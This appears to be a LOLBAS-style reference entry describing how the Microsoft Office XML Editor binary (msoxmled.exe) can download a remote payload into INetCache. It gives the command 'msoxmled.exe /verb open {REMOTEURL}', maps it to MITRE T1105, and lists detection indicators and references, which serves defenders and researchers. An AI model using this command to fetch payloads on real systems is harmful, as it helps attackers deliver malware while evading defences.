DownloadFile DownloadWindowsDownloads payload from remote server using the Microsoft Office XML Editor.Use It will download a remote payload and place it in INetCache.msoxmled.exe /verb open {REMOTEURL}copyEvidenceUpstream referenceEnvironmentLocal hostContextuserNativeDownloadMITRET1105DetectionIOC: `msoxmled.exe` making network connections to external URLsIOC: Unexpected file downloads initiated by `msoxmled.exe`IOC: Event ID 1 with Image: `msoxmled.exe` and CommandLine: `/verb open`Refslearn.microsoft.com/en-us/answers/questions/4805030/where-is-msoxmled-exe-for-office-professional-2013lolbas-project.github.io/lolbas/Binaries/msoxmled/